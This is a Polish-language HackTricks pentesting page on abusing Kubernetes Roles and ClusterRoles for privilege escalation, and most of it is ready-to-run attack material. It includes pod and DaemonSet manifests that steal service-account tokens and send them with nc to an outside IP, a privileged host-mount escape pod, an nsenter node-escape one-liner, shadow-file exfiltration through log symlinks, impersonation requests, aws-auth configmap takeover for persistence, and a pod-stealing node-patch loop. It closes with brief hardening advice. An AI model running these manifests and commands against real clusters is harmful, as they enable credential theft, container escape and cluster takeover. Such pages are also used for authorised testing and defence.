Abusing Roles/ClusterRoles in Kubernetes

Support HackTricks

Tutaj możesz znaleźć potencjalnie niebezpieczne konfiguracje Roles i ClusterRoles. Pamiętaj, że możesz uzyskać wszystkie obsługiwane zasoby za pomocą kubectl api-resources

Privilege Escalation

Odnosimy się do sztuki uzyskiwania dostępu do innego podmiotu w klastrze z innymi uprawnieniami (w obrębie klastra kubernetes lub do zewnętrznych chmur) niż te, które już posiadasz. W Kubernetes istnieją zasadniczo 4 główne techniki eskalacji uprawnień:

  • Możliwość podszywania się pod innych użytkowników/grupy/SAs z lepszymi uprawnieniami w obrębie klastra kubernetes lub do zewnętrznych chmur

  • Możliwość tworzenia/patchowania/uruchamiania podów, w których możesz znaleźć lub podłączyć SAs z lepszymi uprawnieniami w obrębie klastra kubernetes lub do zewnętrznych chmur

  • Możliwość odczytywania sekretów, ponieważ tokeny SAs są przechowywane jako sekrety

  • Możliwość ucieczki do węzła z kontenera, gdzie możesz ukraść wszystkie sekrety kontenerów działających na węźle, dane uwierzytelniające węzła oraz uprawnienia węzła w obrębie chmury, w której działa (jeśli w ogóle)

  • Piątą techniką, która zasługuje na wzmiankę, jest możliwość uruchomienia port-forward w podzie, ponieważ możesz uzyskać dostęp do interesujących zasobów w tym podzie.

Access Any Resource or Verb (Wildcard)

Wildcard (*) daje uprawnienia do dowolnego zasobu z dowolnym czasownikiem. Jest używany przez administratorów. W obrębie ClusterRole oznacza to, że atakujący mógłby nadużyć dowolnej przestrzeni nazw w klastrze.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Uzyskaj dostęp do dowolnego zasobu za pomocą konkretnego czasownika

W RBAC niektóre uprawnienia niosą ze sobą istotne ryzyko:

  1. create: Przyznaje możliwość tworzenia dowolnych zasobów klastra, co stwarza ryzyko eskalacji uprawnień.

  2. list: Umożliwia wylistowanie wszystkich zasobów, co może prowadzić do wycieku wrażliwych danych.

  3. get: Zezwala na dostęp do sekretów z kont serwisowych, co stanowi zagrożenie dla bezpieczeństwa.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Atakujący z uprawnieniami do tworzenia poda może dołączyć uprzywilejowane konto usługi do poda i ukraść token, aby podszyć się pod konto usługi. Efektywnie eskalując uprawnienia do niego.

Przykład poda, który ukradnie token konta usługi bootstrap-signer i wyśle go do atakującego:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Tworzenie podów i ucieczka

Poniżej przedstawiono wszystkie uprawnienia, jakie może mieć kontener:

  • Dostęp uprzywilejowany (wyłączanie zabezpieczeń i ustawianie możliwości)

  • Wyłączenie przestrzeni nazw hostIPC i hostPid, co może pomóc w eskalacji uprawnień

  • Wyłączenie przestrzeni nazw hostNetwork, co daje dostęp do kradzieży uprawnień chmurowych węzłów i lepszego dostępu do sieci

  • Zamontowanie hostów / wewnątrz kontenera

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Utwórz pod za pomocą:

kubectl --token $token create -f mount_root.yaml

Jednolinijkowiec z tego tweeta oraz z dodatkami:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Teraz, gdy możesz uciec do węzła, sprawdź techniki po eksploatacji w:

Stealth

Prawdopodobnie chcesz być bardziej dyskretny, na następnych stronach możesz zobaczyć, do czego będziesz miał dostęp, jeśli stworzysz pod, włączając tylko niektóre z wymienionych uprawnień w poprzednim szablonie:

  • Privileged + hostPID

  • Privileged only

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Możesz znaleźć przykład, jak stworzyć/wykorzystać poprzednie konfiguracje podów z uprawnieniami w https://github.com/BishopFox/badPods

Pod Create - Przenieś do chmury

Jeśli możesz stworzyć pod (i opcjonalnie konto usługi), możesz być w stanie uzyskać uprawnienia w środowisku chmurowym poprzez przypisanie ról chmurowych do podu lub konta usługi i następnie uzyskanie do niego dostępu. Co więcej, jeśli możesz stworzyć pod z przestrzenią nazw sieci hosta, możesz ukraść rolę IAM instancji węzła.

Aby uzyskać więcej informacji, sprawdź:

Pod Escape Privileges

Utwórz/Zaktualizuj wdrożenie, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs i Cronjobs

Możliwe jest nadużycie tych uprawnień do stworzenia nowego poda i uzyskania uprawnień, jak w poprzednim przykładzie.

Poniższy yaml tworzy daemonset i eksfiltruje token SA wewnątrz poda:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec to zasób w kubernetes używany do uruchamiania poleceń w powłoce wewnątrz poda. Umożliwia to uruchamianie poleceń wewnątrz kontenerów lub uzyskanie powłoki wewnątrz.

Dlatego możliwe jest dostanie się do poda i kradzież tokena SA, lub wejście do uprzywilejowanego poda, ucieczka do węzła i kradzież wszystkich tokenów podów w węźle oraz (nadużycie) węzła:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

To uprawnienie pozwala na przekierowanie jednego lokalnego portu na jeden port w określonym podzie. Ma to na celu ułatwienie debugowania aplikacji działających wewnątrz poda, ale atakujący może to wykorzystać, aby uzyskać dostęp do interesujących (jak DB) lub podatnych aplikacji (webów?) wewnątrz poda:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

As wskazano w tych badaniach, jeśli możesz uzyskać dostęp lub stworzyć pod z zamontowanym katalogiem /var/log/ hosta, możesz uciec z kontenera. Dzieje się tak, ponieważ gdy Kube-API próbuje uzyskać logi kontenera (używając kubectl logs <pod>), żąda pliku 0.log podu, korzystając z punktu końcowego /logs/ usługi Kubelet. Usługa Kubelet udostępnia punkt końcowy /logs/, który zasadniczo udostępnia system plików /var/log kontenera.

Dlatego atakujący z dostępem do zapisu w folderze /var/log/ kontenera mógłby wykorzystać to zachowanie na 2 sposoby:

  • Modyfikując plik 0.log swojego kontenera (zwykle znajdujący się w /var/logs/pods/namespace_pod_uid/container/0.log), aby był symlinkiem wskazującym na /etc/shadow na przykład. Wtedy będziesz mógł wyeksfiltrować plik shadow hosta, wykonując:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Jeśli atakujący kontroluje jakikolwiek podmiot z uprawnieniami do odczytu nodes/log, może po prostu utworzyć symlink w /host-mounted/var/log/sym do / i podczas dostępu do https://<gateway>:10250/logs/sym/ wyświetli system plików root hosta (zmiana symlinka może zapewnić dostęp do plików).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Laboratorium i zautomatyzowany exploit można znaleźć w https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Ominięcie ochrony readOnly

Jeśli masz szczęście i wysoko uprzywilejowana zdolność CAP_SYS_ADMIN jest dostępna, możesz po prostu ponownie zamontować folder jako rw:

mount -o rw,remount /hostlogs/

Obejście ochrony hostPath readOnly

Jak stwierdzono w tych badaniach, możliwe jest obejście ochrony:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Które miało na celu zapobieganie ucieczkom, jak te poprzednie, poprzez zamiast używania montażu hostPath, użycie PersistentVolume i PersistentVolumeClaim do zamontowania folderu hosta w kontenerze z dostępem do zapisu:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Impersonowanie uprzywilejowanych kont

Dzięki uprawnieniu impersonacji użytkownika, atakujący może udawać uprzywilejowane konto.

Wystarczy użyć parametru --as=<username> w poleceniu kubectl, aby udawać użytkownika, lub --as-group=<group>, aby udawać grupę:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Lub użyj REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listing Secrets

Uprawnienie do wyświetlania sekretów może pozwolić atakującemu na rzeczywiste odczytanie sekretów uzyskując dostęp do punktu końcowego REST API:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Odczytanie sekretu – brute-forcing tokenów ID

Podczas gdy atakujący posiadający token z uprawnieniami do odczytu wymaga dokładnej nazwy sekretu, aby go użyć, w przeciwieństwie do szerszego przywileju wyświetlania sekretów, nadal istnieją luki. Domyślne konta serwisowe w systemie mogą być enumerowane, z których każde jest powiązane z sekretem. Te sekrety mają strukturę nazwy: statyczny prefiks, a następnie losowy pięcioznakowy alfanumeryczny token (z wyłączeniem niektórych znaków) zgodnie z kodem źródłowym.

Token jest generowany z ograniczonego zestawu 27 znaków (bcdfghjklmnpqrstvwxz2456789), a nie z pełnego zakresu alfanumerycznego. To ograniczenie redukuje całkowitą liczbę możliwych kombinacji do 14,348,907 (27^5). W związku z tym atakujący mógłby wykonać atak brute-force, aby wydedukować token w ciągu kilku godzin, co potencjalnie prowadzi do eskalacji uprawnień poprzez uzyskanie dostępu do wrażliwych kont serwisowych.

Żądania podpisania certyfikatu

Jeśli masz czasowniki create w zasobie certificatesigningrequests (lub przynajmniej w certificatesigningrequests/nodeClient). Możesz utworzyć nowy CeSR dla nowego węzła.

Zgodnie z dokumentacją, możliwe jest automatyczne zatwierdzanie tych żądań, więc w takim przypadku nie potrzebujesz dodatkowych uprawnień. Jeśli nie, musiałbyś być w stanie zatwierdzić żądanie, co oznacza aktualizację w certificatesigningrequests/approval i approve w signers z resourceName <signerNameDomain>/<signerNamePath> lub <signerNameDomain>/*

Przykład roli z wszystkimi wymaganymi uprawnieniami to:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Więc, z nowym zatwierdzonym CSR węzła, możesz wykorzystać specjalne uprawnienia węzłów do kradzieży sekretów i eskalacji uprawnień.

W tym poście i tym konfiguracja TLS Bootstrap K8s w GKE jest skonfigurowana z automatycznym podpisywaniem i jest wykorzystywana do generowania poświadczeń nowego węzła K8s, a następnie wykorzystywana do eskalacji uprawnień poprzez kradzież sekretów. Jeśli masz wspomniane uprawnienia, możesz zrobić to samo. Zauważ, że pierwszy przykład omija błąd uniemożliwiający nowemu węzłowi dostęp do sekretów wewnątrz kontenerów, ponieważ węzeł może uzyskać dostęp tylko do sekretów kontenerów zamontowanych na nim.

Sposobem na obejście tego jest po prostu utworzenie poświadczeń węzła dla nazwy węzła, na którym zamontowany jest kontener z interesującymi sekretami (ale sprawdź, jak to zrobić w pierwszym poście):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Podmioty, które mogą modyfikować configmaps w przestrzeni nazw kube-system na klastrach EKS (muszą być w AWS), mogą uzyskać uprawnienia administratora klastra, nadpisując aws-auth configmap. Potrzebne czasowniki to update i patch, lub create, jeśli configmap nie został utworzony:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Możesz użyć aws-auth do utrzymania dostępu dla użytkowników z innych kont.

Jednakże, aws --profile other_account eks update-kubeconfig --name <cluster-name> nie działa z innego konta. Ale w rzeczywistości aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing działa, jeśli podasz ARN klastra zamiast tylko nazwy. Aby kubectl działał, upewnij się, że skonfigurujesz kubeconfig ofiary i w argumentach exec aws dodaj --profile other_account_role, aby kubectl używał profilu innego konta do uzyskania tokena i kontaktu z AWS.

Eskalacja w GKE

Istnieją 2 sposoby przypisania uprawnień K8s do zasad GCP. W każdym przypadku zasada również potrzebuje uprawnienia container.clusters.get, aby móc zebrać poświadczenia do uzyskania dostępu do klastra, lub będziesz musiał wygenerować własny plik konfiguracyjny kubectl (postępuj zgodnie z następującym linkiem).

Rozmawiając z punktem końcowym API K8s, token autoryzacji GCP zostanie wysłany. Następnie GCP, przez punkt końcowy API K8s, najpierw sprawdzi, czy zasada (po e-mailu) ma jakikolwiek dostęp wewnątrz klastra, a następnie sprawdzi, czy ma jakikolwiek dostęp przez GCP IAM. Jeśli jakiekolwiek z tych stwierdzeń jest prawdziwe, otrzyma odpowiedź. Jeśli nie, zostanie podany błąd sugerujący nadanie uprawnień przez GCP IAM.

Pierwsza metoda to użycie GCP IAM, uprawnienia K8s mają swoje odpowiedniki w uprawnieniach GCP IAM, a jeśli zasada je ma, będzie mogła z nich korzystać.

GCP - Container Privesc

Druga metoda to przypisanie uprawnień K8s wewnątrz klastra poprzez identyfikację użytkownika po jego e-mailu (w tym konta serwisowe GCP).

Tworzenie tokenów serviceaccounts

Zasady, które mogą tworzyć TokenRequests (serviceaccounts/token) podczas rozmowy z punktem końcowym API K8s SAs (informacje z tutaj).

ephemeralcontainers

Zasady, które mogą aktualizować lub patchować pods/ephemeralcontainers mogą uzyskać wykonanie kodu na innych podach, a potencjalnie wyjść na ich węzeł, dodając tymczasowy kontener z uprzywilejowanym securityContext.

ValidatingWebhookConfigurations lub MutatingWebhookConfigurations

Zasady z dowolnym z czasowników create, update lub patch nad validatingwebhookconfigurations lub mutatingwebhookconfigurations mogą być w stanie utworzyć jedną z takich webhookconfigurations, aby móc eskalować uprawnienia.

Dla mutatingwebhookconfigurations przykładu sprawdź tę sekcję tego posta.

Eskalacja

Jak można przeczytać w następnej sekcji: Wbudowana zapobieganie eskalacji uprawnień, zasada nie może aktualizować ani tworzyć ról lub clusterroles bez posiadania tych nowych uprawnień. Z wyjątkiem sytuacji, gdy ma czasownik escalate nad roles lub clusterroles. Wtedy może aktualizować/tworzyć nowe role, clusterroles z lepszymi uprawnieniami niż te, które ma.

Proxy węzłów

Zasady z dostępem do podzasobu nodes/proxy mogą wykonywać kod na podach za pośrednictwem API Kubelet (zgodnie z tym). Więcej informacji na temat autoryzacji Kubelet na tej stronie:

Kubelet Authentication & Authorization

Masz przykład, jak uzyskać RCE rozmawiając autoryzowanym z API Kubelet tutaj.

Usuwanie podów + węzły nieschedulowalne

Zasady, które mogą usuwać pody (delete czasownik nad zasobem pods), lub ewikować pody (create czasownik nad zasobem pods/eviction), lub zmieniać status poda (dostęp do pods/status) i mogą sprawić, że inne węzły będą nieschedulowalne (dostęp do nodes/status) lub usuwać węzły (delete czasownik nad zasobem nodes) i mają kontrolę nad podami, mogą ukraść pody z innych węzłów, aby były wykonywane w skompromentowanym węźle, a atakujący może ukraść tokeny z tych podów.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Status usług (CVE-2020-8554)

Podmioty, które mogą modyfikować services/status, mogą ustawić pole status.loadBalancer.ingress.ip, aby wykorzystać niepoprawioną CVE-2020-8554 i przeprowadzić ataki MiTM przeciwko klastrowi. Większość środków zaradczych dla CVE-2020-8554 zapobiega jedynie usługom ExternalIP (zgodnie z tym).

Status węzłów i podów

Podmioty z uprawnieniami update lub patch do nodes/status lub pods/status mogą modyfikować etykiety, aby wpłynąć na wymuszone ograniczenia harmonogramu.

Wbudowana zapobieganie eskalacji uprawnień

Kubernetes ma wbudowany mechanizm zapobiegający eskalacji uprawnień.

System ten zapewnia, że użytkownicy nie mogą podnosić swoich uprawnień poprzez modyfikację ról lub powiązań ról. Egzekwowanie tej zasady odbywa się na poziomie API, co zapewnia zabezpieczenie nawet wtedy, gdy autoryzator RBAC jest nieaktywny.

Zasada ta stanowi, że użytkownik może tworzyć lub aktualizować rolę tylko wtedy, gdy posiada wszystkie uprawnienia, które ta rola obejmuje. Ponadto zakres istniejących uprawnień użytkownika musi być zgodny z zakresem roli, którą próbuje utworzyć lub zmodyfikować: albo w skali klastra dla ClusterRoles, albo ograniczony do tej samej przestrzeni nazw (lub w skali klastra) dla Ról.

Istnieje wyjątek od powyższej zasady. Jeśli podmiot ma czasownik escalate nad roles lub clusterroles, może zwiększyć uprawnienia ról i clusterroles, nawet nie mając tych uprawnień.

Pobierz i zmodyfikuj RoleBindings/ClusterRoleBindings

Wygląda na to, że ta technika działała wcześniej, ale według moich testów już nie działa z tego samego powodu wyjaśnionego w poprzedniej sekcji. Nie możesz utworzyć/modyfikować rolebindingu, aby przyznać sobie lub innemu SA jakieś uprawnienia, jeśli ich już nie masz.

Uprawnienie do tworzenia Rolebindings pozwala użytkownikowi na powiązanie ról z kontem usługi. To uprawnienie może potencjalnie prowadzić do eskalacji uprawnień, ponieważ pozwala użytkownikowi powiązać uprawnienia administratora z skompromitowanym kontem usługi.

Inne ataki

Aplikacja proxy sidecar

Domyślnie nie ma żadnego szyfrowania w komunikacji między podami. Wzajemna autoryzacja, dwukierunkowa, pod do pod.

Utwórz aplikację proxy sidecar

Utwórz swój plik .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Edytuj swój plik .yaml i dodaj odkomentowane linie:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Zobacz logi proxy:

kubectl logs app -C proxy

Więcej informacji na: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Złośliwy Kontroler Przyjęć

Kontroler przyjęć przechwytuje żądania do serwera API Kubernetes przed zapisaniem obiektu, ale po uwierzytelnieniu i autoryzacji żądania.

Jeśli atakujący w jakiś sposób zdoła wstrzyknąć Złośliwy Kontroler Przyjęć, będzie mógł modyfikować już uwierzytelnione żądania. Będzie miał potencjalnie możliwość eskalacji uprawnień, a zazwyczaj także utrzymania się w klastrze.

Przykład z https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Sprawdź status, aby zobaczyć, czy jest gotowy:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Następnie wdroż nowy pod:

kubectl run nginx --image nginx
kubectl get po -w

Kiedy widzisz błąd ErrImagePull, sprawdź nazwę obrazu za pomocą jednej z poniższych zapytań:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Jak widać na powyższym obrazie, próbowaliśmy uruchomić obraz nginx, ale ostatecznie wykonany obraz to rewanthtammana/malicious-image. Co się właśnie stało!!?

Technicalities

Skrypt ./deploy.sh ustanawia kontroler dostępu z mutującym webhookiem, który modyfikuje żądania do API Kubernetes zgodnie z określonymi w nim liniami konfiguracyjnymi, wpływając na zaobserwowane wyniki:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Kubernetes - OPA Gatekeeper bypass

Best Practices

Wyłączenie automatycznego montowania tokenów konta usługi

  • Pody i konta usługi: Domyślnie pody montują token konta usługi. Aby zwiększyć bezpieczeństwo, Kubernetes pozwala na wyłączenie tej funkcji automatycznego montowania.

  • Jak zastosować: Ustaw automountServiceAccountToken: false w konfiguracji konta usługi lub podów, począwszy od wersji Kubernetes 1.6.

Restrykcyjne przypisanie użytkowników w RoleBindings/ClusterRoleBindings

  • Selektywne włączenie: Upewnij się, że tylko niezbędni użytkownicy są włączani w RoleBindings lub ClusterRoleBindings. Regularnie audytuj i usuwaj nieistotnych użytkowników, aby utrzymać ścisłe bezpieczeństwo.

Role specyficzne dla przestrzeni nazw zamiast ról ogólnoklastrowych

  • Role vs. ClusterRoles: Preferuj używanie ról i RoleBindings dla uprawnień specyficznych dla przestrzeni nazw, zamiast ClusterRoles i ClusterRoleBindings, które mają zastosowanie w całym klastrze. Takie podejście oferuje dokładniejszą kontrolę i ogranicza zakres uprawnień.

Używaj narzędzi automatycznych

Referencje

Wsparcie HackTricks

Last updated